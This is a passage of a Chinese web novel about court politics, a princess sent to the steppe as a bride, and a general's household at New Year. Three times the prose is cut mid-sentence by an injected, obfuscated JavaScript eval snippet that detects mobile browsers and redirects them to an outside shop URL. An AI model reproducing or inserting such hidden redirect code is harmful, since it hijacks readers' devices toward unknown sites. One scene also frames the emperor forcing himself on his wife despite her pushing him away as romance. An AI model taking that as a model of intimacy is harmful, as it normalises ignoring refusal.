元旻身形微微摇晃地站起来,抬手止住他:“表舅忠直,不善言辞……朕都懂,阿英来了……表舅不必多礼,都先歇息罢。” 宣正浩还未反应过来,元旻已踉踉跄跄走到门口,侍婢忙拉开房门。 穿着浅紫撒花襦裙的舜英静静等在门外,他伸手揽住她肩头、半靠在她身上,她一手挽住他臂弯、一手扶住他后腰,动作娴熟得像已经历过千万遍。 夜风中遥遥传来元旻的呓语:“朕就喜欢惧内,朕就乐意像这样、被阿英管束一辈子。” 仆从、侍卫统统搭不上手,就这样呆愣地看着他们在夜风中走远,毫不避讳、亲密无间。不像分掌权柄的国君和王后,更像恩爱不疑的寻常夫妻。 . “醒酒汤还喝不喝?”舜英从门外接过冒着热气的汤,放到床前小几。 元旻:“我的酒量你还不清楚?” 舜英一想也是,今夜与宣正浩的这一场对酌,以他的酒量来说,还不到三分醉。回想元璟曾说他是“黑心种子”,她不禁苦笑着摇头。 桌上银盆内用冰块镇着个蜜瓜,他看了看屋外,不愿呼唤侍婢进来搅扰,于是抽出腰间短刀慢慢削去皮,切成小块放进旁边的盘中。 舜英见他未召唤侍婢,顷刻会意,点燃一根防蚊火绳,揭开香炉盖子插入,将香炉放到窗下,然后返身回去整理被褥。 “张嘴。” 身后传来带笑的声音,她略带惊愕地照做,被喂了一块切碎的蜜瓜。 “甜不甜?” “甜。” “甜就多吃点。” 舜英慢慢咀嚼着清甜的蜜瓜,半晌后轻轻蹙眉:“这蜜瓜怎么一股子腥味?” 仿佛意识到什么,看向递过来的蜜瓜,沾着殷殷血迹,顺着向上看,他手指不知何时割开一道口子,正源源不断沁着血珠,想是方才喝了酒手不稳,削蜜瓜时不慎割破。 她忙扶他回床歇息,又去找来棉布和伤药。 偶然抬头,见他半靠在软枕上,微醺的双眸亮晶晶的,目不转睛看着自己。她没来由地心神一漾,双颊烧了起来。忙移开视线,若无其事继续替他上药包扎。 这转瞬即逝的变化没有逃过他的眼睛,当即不愿再继续忍耐,毫不迟疑一把将她拽入怀中,翻了个身压下,也不顾她慌乱的推拒,借着酒劲去撕她衣裙。 事后,他促狭地笑了:“还以为会挨一顿骂,提心吊胆了好几天、一直等着呢。” 舜英默了一瞬:“为何要骂你?” 元旻笑容消失:“为何不能?” “我知道你十分不易,君不密失其臣,臣不密失其身,几事不密则成害”,舜英无奈地喟然长叹,“若是可以,还是不要瞒着我,太凶险了,差点没人救你。” 元旻慢慢扯过她一绺乌发,绕在指间一圈又一圈:“心有灵犀一点通,你一定会来。” “下次再不来了”,舜英稳稳心绪、做出愤怒姿态,“你要是再敢拿自己性命去赌,我就……我就……” “你就怎样?”元旻扬眉,满怀期待看她能憋出什么狠话来。 她想了半晌,佯作咬牙切齿道:“我就去找十个八个面首,天天围着我弹琴舞剑、揉背捏肩,气死你!” 元旻笑得直不起腰、全身发颤,上气不接下气地说:“好,找面首也得好好挑,不然跌份。记得要找个比我好看、比我聪明、比我年轻……”忽然想起什么,收起笑容迅速闭嘴。 舜英浑然未觉,冲他胸口轻轻擂了一拳:“这说的是人话吗?” 元旻好整以暇、反唇相讥:“你劝我纳妃嫔时,也不曾想过是不是人话。” “那不一样”,舜英正色注视着他,“阿旻,答应我,莫要再以身犯险了。” “你如今肩挑几千里江山和几千万百姓,若有个万一,国体不稳社稷动荡、六尺之孤何托?”觑见他神色不虞,她赶紧补充了一句,“我与承祎兄妹怎么办?” 元旻先是略带失望凝眉听着,听到最后一句笑了,将她抱得更紧:“好!我答应你,往后珍重惜命、绝不以身涉险。” 她胆战心惊了半个多月,从乌兰山捞回他后又忙于筹备北伐。此刻略一放松,再不能自抑,后怕得手脚发颤。 之后数月,又时常辗转反侧难以入眠,醒来后收到前方捷报,心绪才稍微平稳了些。 . 两路北伐军所向披靡、势如破竹,沿途大肆劫掠部落、俘杀单于,各部胆破众散、从风而服,纷纷向大翊呈递书信,以表归附之意。 元旻面对那些首鼠两端的部落单于,只淡淡回复:“朕不喜以杀伐而略地,奈何贵国君屡屡侵袭我朝子民。” 开始有部落率先提出:“北宛汗王冯建先行挑衅侵袭,致使战火蔓延到草原。如此无道暴君,当废之!” 北伐大军仍在草原肆掠。 永平五年八月中旬,轰轰烈烈闹了两个多月的草原终于统一了声音。由冯彬母族哲里木部牵头,趁夜暗杀了冯建及其十三子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14131605|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 献头颅于北伐大军主帅元晞。 二十三部一致请求,翊国送回客居昇阳的质子冯彬,并推举冯彬为王。其余求和条款,譬如牲畜、马匹、铁矿等岁贡数目皆执行朔宁会盟定下的条款,并邀翊国“使团”进驻柘枝城,指导其内政。 元旻收到二十三部的联名血书时,已是九月初。于是下令,北伐大军西线撤至朔门关内、东线撤至三军郡内。 召冯彬进宫谈论回国即位的事时,冯彬有些心不在焉,这从天而降的王座似乎并未让他高兴多少。 听完元旻交待后,他突然问道:“能否等到十月底再回去即位?” 元旻尚自错愕不解,舜英已笑着宽慰他:“你且先回去把王位坐稳,待阿昙坐完月子,直接来参加册后大典,岂非更周全?” 元昙的身子一天比一天重,听御医和嬷嬷说,大概九月底临盆。 见冯彬仍迟疑,再次感叹这痴情人,不禁继续软语相劝:“你不是抛下她不管,是替她奔更好的前程去了。” 元旻也恼怒他如此不分轻重:“有九叔、有母后,还有我们,你在担心些什么?” 冯彬又思索半晌,终于下定决心,重重点头。 元旻与舜英对视一眼,又嘱咐道:“阿彬,无论在哪个国家,国君的权力都来自于底层的民意。朕扶持得了你一时,扶不了你一世。” “北宛人只敬服绝对力量,你生的高大健壮、弓马娴熟,武艺也不错,就体魄来说,已当得上巴图鲁。只一样,心性可要强硬些,没有谁会臣服一名无血性、没脾气的君王。” 舜英附和道:“就算不为自己,为了阿昙也得撑起来。回了北宛,她再无嫡母、叔父和兄嫂庇护,你就是她唯一的依靠了。” 冯彬身躯一震,忙抬头挺胸,朗声道:“多谢表兄表嫂教诲。” 元旻见他如此郑重,不禁笑了:“走之前,替未出世的孩子取个名吧。” 冯彬眸底掠过一抹亮色,唇角上扬:“昙儿已取好,叫思洛。” 思源、思洛,舜英串起这俩名字,不知怎的、心头咯噔一声,有些不踏实。 怀着心事回寝殿午寐,那人再度闯入她的梦境。 首饰铺照出昏暗的灯光,照得他身姿卓然、玉树临风,站在她对面、眉眼带笑躬身长揖,然后接过店小二手中的木盒,看了一眼就飞快盖上。 盖子盖上的瞬间,那簪子骤然在她眼前变得清晰:花丝做工,主体是一架琵琶、旁侧一丛幽兰,镶嵌点缀着珊瑚和石榴石。 维阳城、白衣、首饰铺子…… 这次对了! 她酝酿了半天措辞,试探着问:“阿旻,你当时赐婚元昙时,元昙作何反应?” “好几年前的事,忘差不多了……”元旻蹙眉、绞尽脑汁想了半晌,“当时我还问过她是否有心仪之人,她直接问我冯彬如何,请我替她掌眼。” 舜英想起他与外人议事时、那张冷得要滴水的脸,不太像能让人敞开心扉的样子。心绪有些复杂,突又想到那场《霸王卸甲》的双人舞,接着追问:“她真的只提了冯彬,再无旁人?” 元旻搜肠刮肚回忆半天,忽然盯着她笑了:“还真有,就是我们都认识的那个。不过元昙同那人一样,都是单相思,怎么了?” 他又来了……每次一跟苻洵沾边,无论公事私事,他立马开始东拉西扯、满嘴跑马。 舜英腹诽,你此刻气定神闲嘲讽人“单相思”,当年怎么一听苻洵就发癫封宫? 不过,她就愿意看他自信的样子,选一条道走到黑,走到举案齐眉、岁月安好、两无猜嫌。 人行于世,无法单靠爱活下去,世上总有些比爱更重要的事物。 元旻对于她,除了是夫主,更代表着那些事物——家国大义、君父、恩情、立场、亲人、挚友…… 97. 出塞阏氏 永平五年九月底,元昙在公主府疼了半夜,诞下一个漂亮精致得像瓷娃娃的女婴。 舜英从傅母手中接过思洛,递给汗淋淋的元昙,轻声闲聊:“冯彬已入主柘枝城了,他很担心你。你先歇息,好些了给他回一封书信吧。” 元昙苍白的唇角扬起一丝笑意:“好啊,易求无价宝,难得有情郎。” 她又说起公主府中乍然只剩自己一人,有些寂寞。舜英这些日子庶务颇少,便时不时进公主府去探望她,再讨教些音律乐谱。 谈及二人初初相逢,感慨光阴流逝,真如隙中驹、石中火、梦中身。 元昙眼巴巴望着她,笑着问:“当年听苏嬷嬷说,四哥在兴庆宫关了个女子,当时甚是好奇。却又慑于四哥君威不敢打探,四嫂能否满足一下小妹的好奇心?” “陛下待我一向很好,那段时间只是封了宫舍,份例给养并未短缺”,舜英遥想当年,哑然失笑,“不过是年少轻狂,吃了些莫须有的干醋。” 元昙愈发好奇,水汪汪的眼眸睁得极大:“干醋?仿佛听阿灿提过,说四嫂当年险些被人抢了去。” 舜英含笑摇摇头,心念一动,意味深长注视着她:“没有的事,不过是当时尚未与陛下明心见性,曾有过一段懵懂……陈年往事罢了,阿昙之前可曾有过心仪的男子?” 元昙双眸亮了亮、又黯淡下去,避开她探究的目光:“小妹当年也曾痴恋一人,做了些傻事,缠着那人给我留个念想,那人无奈之下赠了我此物。” 说着,拉开抽屉拿出那支花丝琵琶幽兰簪:“他虽无意于我,却拒绝得很是温柔,品味也甚佳。小妹如今虽已有家室,却也喜爱这款式,偶然兴起还会戴一戴。” 舜英悬着的心放下了,默默地想,他对女人一向很温柔、也一向品味很好。 元昙双颊绯红,攥住她衣袖摇晃撒娇:“我早没那心思了,四嫂可要替我保密。” 岂止元昙,她如今想起苻洵,也恍如隔世。 于是莞尔,伸手与元昙拉钩:“这是自然。” 半晌后,又郑重地说:“爱意起起落落都是寻常,可我们生而为人,必须得为自己的抉择负责。” 当年,她曾那样对迷惘的自己说;如今,也想对同样迷惘过的元昙说一说。 . 永平五年冬月初,元晞夫妇政务繁忙,于是元旻安排元琮夫妇与元承陵夫妇北上朔宁,送元昙、思源、思洛三人到朔门关。 边墙外,冯彬早已派遣麾下狼卫恭候多时。狼卫首领是名稚气未脱的少年,率侍卫走到安车前,纵身跃下马,单膝半跪恭声道:“末将狼卫统领冯栩,奉汗王之命来奉迎阏氏。草原风沙太大,请阏氏换乘辎车。” 元昙由苏嬷嬷搀扶着,走下安车,告别叔婶和侄子媳后,带上抱着孩子的傅母们,款款走向蓝帷白幄的辎车。 登车之前,她蓦然回首,望向南方、最后瞥了一眼遥远的故乡,抱紧了怀中那一罐从阳华山挖来的泥土。 留恋吗?似乎也无甚可留恋了。 生她的、养她的、爱她的都已长眠于地下,混入这堆泥土之中了。 自此,一去紫台连朔漠,独留青冢向黄昏。 狼卫首领冯栩见她下车,便起身扈从在她身后,走到辎车旁。然后半跪在辎车前,待她登车后才站直身躯,纵身一跃,似一只惊鸿翩然落在枣红马背上。 身手太潇洒利索,元昙不禁多看了他一眼。 他身着北宛贵族常穿的白色齐领曳撒,身材高挑、肩背笔直,玄色革带束在挺拔有力的腰间,如一株挺拔的白桦树。 见元昙在打量他,也不躲闪,只谦恭地躬了躬身,抬眸一笑。 他五官立体而深邃,并不清隽俊逸,却带着一股奇异的美感。他有一双极黑极亮的眸子,不似冯彬那般温柔似水、也不似苻洵那般深情缱绻,像幽光流转的漆黑夜空。 举止温雅有礼不逊昇阳贵族,蕴着野性和力量。 “冯栩?你也姓冯?” 少年柔声解释:“末将乃汗王同母胞弟,阏氏若不介怀,末将应当称阏氏一声‘嫂嫂’”。 奉迎车队缓缓行驶在浅灰的天穹下,疾风呼啸着掀开车帘,撕破单薄的车帷,裹挟着沙尘灌进车中,天空飘扬着细雪。 元昙想过北宛很冷,却不知有这样冷,从箱笼里取出貂裘换上,仍止不住瑟瑟发抖。 与她同车的思源不住咳喘,后车的思洛也被冻得嚎啕大哭。 风越吹越大,晃荡得车身不住颠簸。元昙去后车抱起思洛,赶回前车时被风一吹,站都站不稳。她紧紧把思洛护在怀里,弯腰向前走了几步,一脚踩空…… 即将跌倒时,一只有力的胳膊伸过来、扶住了她。 冯栩助她稳住身形后,请示道:“风沙大,阏氏请先回车。阏氏若信得过,不妨把小公主给在下抱着。” 元昙惊魂未定,看他在风沙中站得稳稳的身姿,松开臂膀将思洛递给了他。 冯栩一手搀着元昙,一手抱住思洛,健步如飞走到辎车前,将她们母女推进车内。然后解下厚厚的狼皮大氅,蒙到辎车的车板上,其余狼卫纷纷效法,再用马鞭将皮氅捆紧实,围成三面密不透风的车壁。 另有一些仆从驱赶骆驼,以她的辎车为中心、围成一圈。 冯栩一手持盾,坐到车门前,替辎车内的他们三人挡住狂飙的沙尘。 思源被寒气冻得不住呛咳,冯栩在外敲了敲盾,递进来一个酒壶,恭声问:“小王子怕是受了冻,我们草原人都爱喝酒,几口酒下去身子就暖了,阏氏可否让末将试试?” 元昙迟疑片刻,伸手接过那个酒壶,塞子已拔开,思源灌了几口,双颊透出红晕,果然咳得轻了些。 她递出酒壶时,车门又递进来一个包袱:“末将出发之时,另带了件未穿过革绒大氅,还请阏氏莫要嫌弃,先拿去御寒。” 接过包袱的刹那,她分明看见,暗无天日的黄色风沙打在他毫无防护的躯体上,颤声问:“那你呢?” 冯栩笑了笑:“末将就在这片草原长大,更大的雪暴也熬过,这点冷不妨事。” 年幼的思源煞有介事施了一礼:“多谢将军照拂。” 冯栩回道:“王子折煞臣了,末将是你阿瓦……也就是爹爹的臣子,做这些都是臣的本份。” 元昙注视着车门,轻声道:“思源,叫‘小叔叔’。” “开阳传来的线报”,宝慈宫庭院里,元旻拆开密信,对着围坐在石桌前的舜英和冯姮,言简意赅地总结,“冯彬回柘枝城后干得很不错。” 舜英点点头:“听驻北宛的使臣传信回来,北宛王的登基和册后大典都很风光。刚回去时有人挑衅,说他是中原人养出的软骨头,被他逐一单挑、打落马下,然后把那些犯颜挑衅之人亲手杀了!” “杀鸡儆猴,情非得已”,元旻赞许地笑了,“他不但提拔了舅父那一朝的几位主和派能臣,还救回失散的姊妹、找回幼时的伴当,更两个月不到就重组了狼卫。” 冯姮双眸漾起笑意:“狼卫至亲至近,不知首领是谁?” 元旻又细读了一遍信:“冯栩,好像还是阿彬的胞弟,怎么从未听母后提起过?” 冯姮叹了口气,怀想半晌缓缓道:“哲里木部的萨仁格日勒,月亮一样美丽的女人,曾是十二哥最宠爱的女子,先有了格日乐图……也就是冯彬,四年后又有了身孕。” “十二哥为他取名为卓力格图,寓意‘大无畏的’,萨仁格日勒却诞下一个死胎。现在看来,是继后要暗害那孩子,又被别人想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14144854|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法子保下了。” “十二哥查了一阵,与继后出身的阿古拉部达成新的盟约,这件事再无人追究。又过了一年,刚六岁的阿彬被送到昇阳当质子了。” 舜英不禁暗叹,这世上大多数君王的宠爱犹如浮云,在切实的利益面前,莫说女人、亲生儿子的命也算不得什么。人跟人都是比较出来的,这么一衬托,元旻比他们有人情味多了。 元旻所思虑的却是其他:“如此说来,虽说是胞弟,却几乎素未谋面?” 这样的兄弟,信得过么? 北宛人子嗣繁多,大都十几个起步、上不封顶。那些从小一起玩到大的兄弟,阋墙相争比比皆是,何况素未谋面、比陌生人好不到哪里。 冯姮却摇头:“阿彬既能找回卓力格图,想必这些年也暗中照拂过这孩子,他们兄弟情份、咱们也不便置喙。” 元旻转念想了想:“也对,兄弟感情若是好了,可如我与大哥。” 舜英凉凉地想,还可能如苻沣和苻洵,甚至连苻氏兄弟都不如,至少苻洵只跋扈专权、不弑兄篡位。 可他冯彬能否压得住二十三部,说到底,都已是别国内政了。压得住,得一和平友邦;压不住,战乱了这么些年,嫡系的冯氏子弟所剩不多,届时化作一盘散沙,对翊国再无威胁。 只是元昙,元昙啊…… 心念一动,她期许地看着元旻:“开阳带的人手够不够?” “救他们娘仨,外加一个冯彬没问题”,元旻会意,笑了笑宽慰她,“不止开阳那一百人,二十三部联名上书请求我朝派驻使臣,朕便命冯睢长驻柘枝城,冯彬已封他为延恩侯,带了三百武卒为府兵。” 冯睢——北宛远支宗室、卫尉卿冯广年次子,冯广年当年扈从冯姮入昇阳,与翊女成婚生子,冯睢更是土生土长的昇阳人。 看来北伐这一仗,打得草原二十三部下定决心俯首称臣,担友邦之名,行属国之实。 . 出朔门关一路行往东北,狂风怒号、雪花像巴掌大的鹅毛纷纷扬扬。漫天风雪中,奉迎的车队走走停停,已行了一个多月。 这些天,元昙和两个孩子虽吃了些苦,却毫发无损。 这一切全靠冯栩的悉心照料,他总是能那样周到及时地,拿出各种有用的东西。 天气转冷时,会热好一大罐酥油茶,让她和思源忍着恶心多喝些。寒流来袭时,那些油腻的奶脂聚在肠胃里,散发的热意暖着五脏六腑。 升起篝火前,他会先取出膏脂,让他们涂满耳朵、手足,苏嬷嬷不信邪,烤了几天火,双脚全是冻疮。 滴水成冰的夜里,他总会递来一壶温热的清水给他们润喉。她清楚地看见,他一直把那壶水捂在怀里,才不至于让它冻成冰坨。 每每他们烤羊肉为食,他总会先将肥瘦最得宜的那块后腿肉切成薄片,撒上酢浆再递给他们,酢浆的酸味冲淡了膻气,也没那么难以入口。 再冷、风再大,他也坚持每天煮茶给他们喝,说是冬季没有新鲜蔬果,不喝茶会牙龈出血。 入冬的荒原狂风咆哮、带来远处此起彼伏的狼嚎。她骇得夜夜不得安眠,直到有一晚,帐篷外响起清越的笛声,吹的是《折杨柳》。她偷偷掀开帐篷门帘,看见他守在帐篷三丈处,散漫地歪坐着吹笛,膝边横着长刀。 有一天半夜,思源偷偷出去方便,结果招来了十多头狼。 那个夜晚,冯栩燃起一堆篝火将他们护在中间,手持一柄阔刀、带着麾下武士杀了大半夜,直到东方露出鱼肚白,才从雪地里横陈满地的狼尸中抬起头。 他就那样看向她的帐篷,衣袍浸满殷红,脸颊涂满鲜血。她却并不害怕,反从胸腔涌出一股滚烫的激流。 抬头的瞬间,他漆黑的双眸像是有星星。 98. 除夕良夜 杀狼之后,冯栩并不着急离开,而是换了把错金小刀,专注地剥着狼皮。 曙光渐明,篝火渐灭,元昙坐在帐篷门口、将门帘掀开一线,默默注视着他。看着他剥下一张张狼皮,叠放入木箱,捆上马车。 然后,他跪在帐篷前,声音沉稳:“末将及狼卫各部众,今日猎得黄狼皮十七张,待回到柘枝城,硝好了进献汗王与阏氏!” 元昙张了张嘴,却只能问:“柘枝城还有多远?” 冯栩温声道:“过了前面的阿茹娜雪山便是了。” 元昙将门帘卷起,只见前方银光皎洁,堆琼积玉几千叠,反射着初升的晨曦。 不禁快速往前走了几步,一不留神脚底踩空,险些摔进雪堆里。冯栩道了声“小心”,伸臂扶住了她。 她感觉扶住自己的,像是滚烫的烙铁,忙抽回手臂。试了几步,好似能在雪地里平稳行走了,不由自主地走向前方那座迷人的雪峰。 晨晖照着她光洁如玉的额头、绸缎般丝滑柔亮的头发、清艳妩媚的瑞凤眼、丰盈红润的双唇。她静静站在那,仪态是草原女子少有的端静娴雅,晨风拂过她、吹来醉人的甜香。 冯栩无端想到歌谣中传唱的,不染纤尘的雪山神女。 元昙站雪山下看得出神,背后站了个人也许久未察觉。忽觉身后盈来若有若无的香气,微苦、沁凉的暗香,像是最洁净的冰雪化在鼻尖。 转身看去,冯栩跪在雪地里,头埋得很低,双手却虔诚地高高举起,掌心一抔积雪之中,绽放着一朵冰肌玉骨、剔透无暇的洁白莲花。 “阏氏,今天是腊月二十三。” “不毛之地,不似昇阳繁花似锦,臣唯有以此高山雪莲,祝嫂嫂新年快乐。” . 灵昌气候温暖潮湿,偶尔下雪也像碎玉般温润、像柳絮一样轻,打着旋儿柔柔落在眉梢、睫毛上、唇间,转瞬即融。 又一年腊月,又一个年节。 苻洵在洛川别苑大门口勒住缰绳,兔起鹘落,极其潇洒利索地翻身下马。 仆从掀开车帘,他弯腰探进车里抱起苻忆,贴脸蹭了蹭女儿香软的脸颊,扬声笑道:“阿忆,跟爹爹回家。” 苻忆被蹭得咯咯直笑。 锦瑟穿着簇新的银色缎面狐裘,牵着苻阐的小手下车。苻阐怔愣注视着前方欢笑的父女,眼底有泪光一闪而过。 背上传来暖意,苻阐仰头看去,只见锦瑟正将一件合身的氅裘裹在他身上,柔声说:“灵昌湿冷,多穿几件哦。” 憋了许久的泪泉涌而出,飞扬的碎雪里,他回身紧紧抱住锦瑟双腿:“母亲,阐儿可以把你当成亲娘吗?” 锦瑟蹲下身,替他将氅裘围紧系好,含笑道:“母亲一直当阐儿是亲生的孩子。” 腊月十六,苻洵带英平、郅阳、北卢三郡的骁骑将军入北宸殿述职,英平郡是苻沣的旧部沈绍宗,其余两郡均由苻洵从军中擢拔,都是出身寒微、天赋颇佳的年轻男子,分别是薛怀嘉、高轩。 腊月二十,报备过苻沣后,苻洵邀麾下数十名不满四十岁、体貌端正的高级武官赴家宴。 腊月二十二,小年的前一夜,由苻洵主持、锦瑟一手操办的“摽梅宴”在洛川别苑筵开吉席。 烂游胜赏,高低灯火,鼎沸笙箫。 开宴的前夜,府中所有未诞育过子嗣的侍妾,以及歌姬和舞女都被传唤到前堂,苻洵逐一将她们的身契和籍契亲手交还。 “自余复官,常年在外征战,对诸位娘子多有疏忽,照应不周之处,还望宽宥。卿绮年玉貌,囿于洛川别苑空掷光阴,余甚是愧疚。” “今日放诸位自由之身,若要返乡,余愿效犬马之劳、命亲兵相送一程,并略备财帛助卿安身立命。” “若要改适,今夜‘摽梅宴’邀请的皆是军中品貌尚佳、年轻有为的将领,卿可自择佳偶。若能成就良缘,一应妆奁皆由府中置办。” “相逢即是有缘,诸位娘子若日后遇到难处,亦可求告于夫人,力所能及之事、侯府不介意效举手之劳。” 十几个美人瞠目结舌地互相对视,过了片刻,终于相信了这一桩泼天好事,齐齐含笑跪拜:“奴家谢侯爷仁厚,祝侯爷与夫人琴瑟调和、白头偕老。” 洛川别苑后面那排小院自此空了大半,锦瑟提议将那排小院打通,让两名有子嗣的侍妾结伴而居,住得宽敞些、也免于寂寞。 苻洵应允,又命工匠砌起一堵墙,将那排小院与主院隔开,只留一道月门,每月初一、十五打开两天,让侍妾与自己孩子见两面。 苻阙过继给了苻沣,府中还剩两子一女:苻阐、苻忆、苻阗,三个孩子皆不同母,全部放在锦瑟跟前教养。 幼子苻阗刚刚满月,除夕夜,苻洵与锦瑟只携苻阐和苻忆入宫赴宴。 苻阙在宫中金尊玉贵地养着,爱说爱笑爱打闹,除了有些娇气,什么都好。 苻沣半醉半醒时,无不遗憾地说:“若阿洵未经受那些磨难,也该如阿阙这般恣肆开朗吧。” 苻洵含笑低头,酒液倒映出二十三岁的自己,面部轮廓已变得阳刚,眉眼已略带沧桑。 原来,三岁,已过去整整二十年;十三岁,已过去整整十年;十八岁,也已过去整整五年。 . 窄街寂寂无声,数家店铺关门闭户。窄小的后门台阶上爬满青苔、荒草丛生,依然有数枝红梅和腊梅伸出倾颓的围墙,暗香浮动。 苻洵换穿一件深红轻裘、披着胭脂红大氅,款步走到墙根下,痴痴仰头看向梅树枝头,那里空空如也。 然后,他定定注视着空荡荡的树下,躬身长揖:“卿若是女子,我愿三书六礼;卿若是男子,承蒙不弃,我亦愿断袖分桃。” 锦瑟站在他身后,双眸蓄满泪水。 苻洵转身,替她拉开车帘:“今日看姐姐有些烦闷,在下晓得一个好去处,定能使姐姐开怀。” 锦瑟:“阿洵,这就是你与她的缘起么?” 苻洵:“不,这只是她第一次把我当男子看待。” 锦瑟:“你当初在倚翠楼为我赎身,只是因为她?” 苻洵:“你与她长得太像了,我不想看着这样一张脸流落风尘。” 锦瑟:“六年来,你每次对着我叫‘姐姐’时,想的都是她么?” 苻洵:“起初是她,后来是你,现在我已然分不清楚,你就像是她的影子。或许你就是世上另一个她,一个不会爱上别人、也永不会抛下我的姐姐。” 同一座高楼,临窗的相同位置。烟花尖啸着升空,散作千亿星子,璨璨落下。 苻洵站起身来,郑重施礼:“在下苻洵,倾慕姑娘已久,愿聘汝为妇,朝朝暮暮、终老一生。” 锦瑟怔怔坐在窗前,任夜风吹干颊边泪水,吹得她周身冰冷。 从雏妓到权贵正妻,何止一步登天,守得云开见月明,她本该高兴的。 可认命如她,卑微如她,也不是没有心的,更不是不知道痛。 她知道他狠辣、偏执、深情而凉薄,知道他被爱而不得折磨得癫狂,知道自己永远只是一个影子,她知道他所有的不好。 可是,她仍然爱他。 这世上两情相悦的太少,满大街皆是如他、如她这样求不得之人。 迎着苻洵期盼的泪眼,她笑得凄楚:“妾愿嫁与阿洵为妻,不离不弃、生死相随。” 无数烟花络绎不绝升起,漫天火树银花散入春风,满城爆竹齐齐轰鸣,已到子时。 荣国的建宁六年,来了。 . 景和宫的腊梅和茶花开了。 从四年前龙川湖夜游,舜英答应嫁给元旻那刻起,元旻便马不停蹄地安排花房,在景和宫种上海棠、茉莉、素馨、腊梅和山茶等她喜欢的花。 其实比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14157334|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起腊梅,元旻本来更喜欢红梅,直到六年前的除夕夜,他站在梅树上瞥见那俊美灵动的红裘少年。 这个除夕,元氏宗亲各有各的忙,阖宫家宴肯定凑不齐,元旻也懒得逼人家撇下正事来凑这个虚热闹。 于是,还是冯姮做东,在宝慈宫开了几席小宴。 聚的还是那些熟悉的人:元旻一家子、元晞一家子、孤家寡人元璟,元旻嫌凑着冷清,又从燮陵召回了元旭夫妻,还有些新的面孔加入。 这年秋天,元旭迎娶宣正浩之女宣菀为妻,宣正浩之孙宣长策迎娶元晞之女元念笙为妻。 同时,出身寒微的萧勖因军功被擢升为武卒营校尉,如愿入赘朔宁边户都督府。 这年冬天,元承陵娶武燊之女武臻臻为妻,同时,承陵已在北伐之战立下赫赫战功,受封卫将军。 年关将近,在外游历大半年的元晴终于回了昇阳,冯姮阖家团聚的心愿终于补齐。 二十五岁的元晴,仍然跟过往一样,一张嘴就让人眼前一黑。 跟元旻拼了一大坛兰陵酒后,众目睽睽下,她仔细打量着兄长,用所有人都能听清的声音“悄悄”关怀道。 “四哥你瞧着脸色好差,平时还是节制些、养养生吧……” 一语出,四座俱静。 冯姮重重咳了声,郑锦珠忙上前拉走元晴,元璟眉头微蹙、意味不明地打量舜英和元旻,舜英避开元璟的注目礼、抱起承祉喂饭,元晞全家别过脸假装没听见,元旭和宣菀新婚燕尔、脸红到耳根。 元旻起初额头青筋暴凸、拳头捏得咯吱响,忽然想到什么似的,神色凝重道:“阿晴,待会儿筵席散了,随我来上书房一趟。” 冯姮嗔怪:“政务是忙不完的,大年三十还批什么折子?” 元旻笑着摇头:“不批折子,许久未见阿晴,有些体己话要与她说说。” 众人都感觉后背旋过一阵阴风,只元晴笑吟吟地说:“好啊好啊,我也大半年未见四哥了。” 而后便是诡异的静默。 正在此时,元承祎提着一盏花灯跑了出去,边跑边喊:“新年快乐!” “放灯了、放灯了……”元晴跟着跑出去,一边跑一边拍手附和。 大庆殿外的空地上,灯火熠熠,上千盏风灯冉冉升起,浮起一片如梦似幻的灯海,越飘越远,与天穹之上的灿烂星汉融成一片。 舜英目不转睛注视着风灯越飘越远,若有所思,元旻提醒她许愿,她打了个寒噤,如梦初醒回头、笑容温婉。 “阿旻,年年岁岁、我的祈愿从未改变,同那年在洛川一模一样。” 一愿郎君千岁,二愿妾身常健,三愿如同梁上燕,岁岁长相见。 待她再次转头看向天空,元旻再度侧过头,痴痴注视着她,眼里满是不舍。 良久之后,他轻声说:“阿英,永平五年过得很好,永平六年、七年、八年……往后的每年都要这样好,我们每年都来这里放灯。” 舜英默了片刻,欲言又止,最终轻轻吐出一个字。 “好。” 于是,元旻满意地笑了。 永平五年,对于大翊永平一朝,是意义非凡的转折年。 这一年,大翊终于师出有名,解决了北宛这个心腹大患。 这一年,宣正浩被贬官,在京任职已久、元晞一手教导的宣正淼接手朔宁军。骑墙观望已久的宣氏一族,终于在恩威、姻亲的双重力量下,完全被元旻收服。 这一年,初步解决了燃眉之急的大翊,开始在上阳、临梁、朔宁布局,将逐步实施打压消耗荣国的“平西计划”。 明德门上,景阳钟的响声击破长夜,不疾不徐,正好一百零八下。 第一声钟响的同时,王宫北苑和昇阳城各处,升起无数道燃烧的烟花,尖啸着激射到顶点、散作漫天火树银花。 翊国的永平六年,到了。 99. 兄友弟恭 